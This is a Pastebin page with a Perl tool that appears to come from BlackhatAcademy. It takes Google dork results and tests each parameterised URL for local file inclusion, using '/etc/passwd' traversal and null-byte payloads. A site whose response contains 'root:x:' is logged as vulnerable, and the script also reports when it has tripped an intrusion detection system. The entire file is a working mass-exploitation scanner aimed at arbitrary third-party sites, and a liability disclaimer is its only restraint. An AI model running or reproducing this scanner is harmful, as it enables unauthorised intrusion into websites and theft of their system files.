Advertisement
infodox

gscrape-lfi.pl

Jan 4th, 2012
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6.92 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # More interesting stuff I found
  3. # gscrape.pl
  4. #
  5. # Uses Google::Search to either iterate through a list of dorks (dorks.lst)
  6. # And then prints out a list of vulnerable sites.
  7.  
  8. use Term::ANSIColor;
  9. use Getopt::Std;
  10. use HTTP::Request;
  11. use Google::Search;
  12. use LWP::UserAgent;
  13.  
  14. #vars n shit
  15. my $currentversion = "1.0";
  16. my $search;
  17. my $useragent = LWP::UserAgent->new();
  18. my $infile;
  19. my $outfile;
  20. my $searchmode;
  21. my @url_list;
  22. my @search_terms; #search terms and
  23. my @dorks;        #dorks, to check if the terms have "inurl:".
  24. my @vulnsites;
  25.  
  26.  
  27.  
  28. ##--main execution:
  29.         &banner();
  30.         &getOpts();
  31.  
  32.        
  33.         if ($opt{s} || $opt{f} && $opt{o} && !$opt{h}) {
  34.         &printInfo("Trying with the following settings:");
  35.         &printInfo( ">>Search Mode: $searchmode");
  36.         &printInfo( ">>Output file: $outfile");
  37.        
  38.     if ($searchmode == "single" && $searchmode != "list"){
  39.        
  40.         &printInfo( ">>Search Term: $search");
  41.         &search_single();
  42.         } else {
  43.              &printInfo( ">>Search List: $infile");
  44.              &search_list();
  45.              }
  46.            
  47.        
  48.          }
  49.          if (!$opt{h} && !$opt{o}){
  50.              &printCritical("YOU MUST SPECIFY AN OUTPUT FILE!1!one!");
  51.              &printInfo("use -h flag for help");
  52.              print"\n\r\nExiting..\n";
  53.          }
  54.  
  55.            
  56.            
  57.  
  58.  
  59.  
  60. ##--subroutines:.
  61.  
  62.  
  63.  
  64. #Search using a list of terms:
  65. sub search_list(){
  66.    
  67. open FILE, "<", $infile or die $!;
  68. my @search_terms = <FILE>;
  69. my $num = @search_terms;
  70. &printInfo("Loaded $num search terms.");
  71. &printInfo("Fixing improper search terms [if any]");
  72. #iterate through the search terms, checking if they have "inurl:" if not, prepend it.
  73. for( my $int = 0; $int < $num; $int++){
  74.     my $random = int(rand($num));
  75.    
  76.     if ( @search_terms[$random] !~ /inurl:/ ){  ##had to learn to use regex sooner or later..  
  77.         push(@dorks, "inurl:".@search_terms[$random]);
  78.         }
  79.     if ( @search_terms[$random] =~ /inurl:/){
  80.         push(@dorks, @search_terms[$random]);
  81.         }
  82.  
  83.    
  84.     }
  85.     print"\n";
  86. &printInfo("Retrieving search results..");
  87.  
  88. #iterate through the google dorks (search terms, with 'inurl:'), and add them to the list of sites.
  89. foreach(@dorks) {
  90.  
  91.      $search = Google::Search->Web( query => $_ );
  92.     while ( my $result = $search->next ) {
  93.         if( $result->uri =~ /\=/) { #check if results have "=" in them (ex: www.site.com/index.php?page=LOLCATS)
  94.             push(@url_list, $result->uri); #push result into the array
  95.             &printInfo(">>".$result->uri);
  96.         }
  97.     }
  98. }
  99.  
  100. my @lfitest = (
  101.     '/etc/passwd%00',
  102.     '/etc/passwd',
  103.     '../../../../../../../../../../../../../../../etc/passwd',
  104.     '../../../../../../../../../../../../../../../etc/passwd%00');
  105.      
  106. my $lfinum = @lfitest;
  107.  
  108. print"\n";
  109. &printInfo("Testing sites for vulnerabilities..");
  110.  
  111.  
  112.  
  113. #Test the sites for vulns.
  114.  
  115. foreach( @url_list ){
  116.     my $index = @url_list;
  117.     my $randint = int(rand($index));
  118.  
  119.         my $x = @url_list[$randint];
  120.         $x =~ s/=.*/=/ ;
  121.        
  122.        
  123.        
  124.         for (my $i = 0; $i < $lfinum; $i++){
  125.             if ( $x !~ /http:\/\// ){
  126.                 $x = "http://".$x;
  127.             }
  128.  
  129.        
  130.      
  131.         my $request = $useragent->get($x.@lfitest[$i]);
  132.         my $result = $request->content;
  133.        
  134.         if ($result =~ m/root:x:/i){
  135.             &printVuln(">>> ".$x.@lfitest[$i]);
  136.             open FILE, ">>", $outfile or die $!;
  137.             print FILE "[VULN] >> ".$x.@lfitest[$i]."\n";
  138.             close FILE;
  139.             last;
  140.         }
  141.         if ($result =~ m/hacking/i || m/reported/i ||  m/recorded/i || m/malicious/i){
  142.             &printCritical("> Whoops! Tripped an IDS at: ".$x." With: ".@lfitest[$i]);
  143.         }
  144.  
  145.     }
  146. }
  147.  
  148. }
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155. sub banner() {
  156. system('clear');
  157.     print("\r+=====================================================================+
  158.           \r|                              GScrape                                |
  159.           \r|         ________  _________                                         |
  160.           \r|        /  _____/ /   _____/ ________________  ______   ____         |
  161.           \r|       /   \\  ___ \\_____  \\_/ ___\\_  __ \\__  \\ \\____ \\_/ __ \\        |
  162.           \r|       \\    \\_\\  \\/        \\  \\___|  | \\// __ \\|  |_> >  ___/        |
  163.           \r|        \\______  /_______  /\\___  >__|  (____  /   __/ \\___  >       |
  164.           \r|               \\/        \\/     \\/           \\/|__|        \\/        |
  165.           \r|                                                                     |
  166.           \r|                                                                     |
  167.           \r|           Uses Google AJAX API to search for vulnerabilities        |
  168.            \r+=====================================================================+
  169.            \r                      
  170.             \r                       www.BlackhatAcademy.org
  171.          \r                               v+$currentversion
  172.           " );
  173.            
  174.            printWarning("THE END USER IS LIABLE FOR THE USE OF THIS SOFTWARE.
  175.                         \rUSING THIS AGAINST ANY SYSTEM WITHOUT PERMISSION IS A CRIMINAL ACT
  176.                         \rTHE AUTHOR TAKES NO RESPONSIBILITY FOR THE END-USER'S ACTIONS.\n");
  177.            
  178.            
  179.    
  180. }
  181.  
  182.  
  183. sub getOpts(){
  184.     #option modes, and args.
  185.     my $opt_string = 'f:o:h';
  186.         getopts( "$opt_string", \%opt );
  187.        
  188.         #set vars of $outfile, and $infile if they are defined.
  189.  
  190.        
  191.         if ($opt{o}){
  192.             $outfile = $opt{o};
  193.         }
  194.        
  195.         if ($opt{f}){
  196.            
  197.             $infile = $opt{f};
  198.             $searchmode = "list";
  199.            
  200.         }
  201.        
  202.  
  203.        
  204.         #Display help page if -h
  205.         usage() if $opt{h};
  206.        
  207.        
  208.        
  209. }
  210. #YES HELLO, THIS IS HELP PAGE.
  211. sub usage(){
  212.     print("
  213.  
  214.  
  215. GScrape Usage:
  216.  
  217.     Search using a list of search terms:
  218.      -f /path/to/dorks.txt
  219.    
  220.    
  221.     Define output file:
  222.      -o results.out
  223.      
  224.    
  225.    
  226.    
  227. Example Usages:
  228.  
  229.    Run a list of search terms through the scanner:
  230.      perl gscrape.pl -f ~/Dork.lst -o ~/result.out
  231.  
  232.    
  233.     ");
  234. }
  235.    
  236.    
  237.     #HERE BE ANSICOLOR:
  238.     # [INFO] [CRITICAL] and [WARNING] messages
  239.    
  240.     sub printCritical(){
  241.         my $error = shift(@_);
  242.        
  243.      
  244.      print color 'bold blue';
  245.      print "\r[";
  246.      print color 'red';
  247.      print "CRITICAL";
  248.      print color 'bold blue';
  249.      print "]  ";
  250.      print color 'red';
  251.      print color 'reset';
  252.      print $error."\n";
  253.      
  254.     }
  255.     sub printWarning(){
  256.        
  257.         my $error = shift(@_);
  258.        
  259.      
  260.      print color 'bold blue';
  261.      print "\r[";
  262.      print color 'yellow';
  263.      print "WARNING";
  264.      print color 'bold blue';
  265.      print "]  ";
  266.      print color 'reset';
  267.      print $error."\n";
  268.  
  269.     }
  270.     sub printInfo(){
  271.        
  272.         my $info = shift(@_);
  273.        
  274.      
  275.      print color 'bold blue';
  276.      
  277.      print "\r[";
  278.      print color 'reset';
  279.      print "INFO";
  280.      print color 'bold blue';
  281.      print "]  ";
  282.      print color 'reset';
  283.      print $info."\n";
  284.  
  285.     }
  286.    
  287.         sub printVuln(){
  288.        
  289.         my $info = shift(@_);
  290.        
  291.      
  292.      print color 'bold blue';
  293.      
  294.      print "\r[";
  295.      print color 'green';
  296.      print "VULN";
  297.      print color 'bold blue';
  298.      print "]  ";
  299.      print color 'reset';
  300.      print $info."\n";
  301.  
  302.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement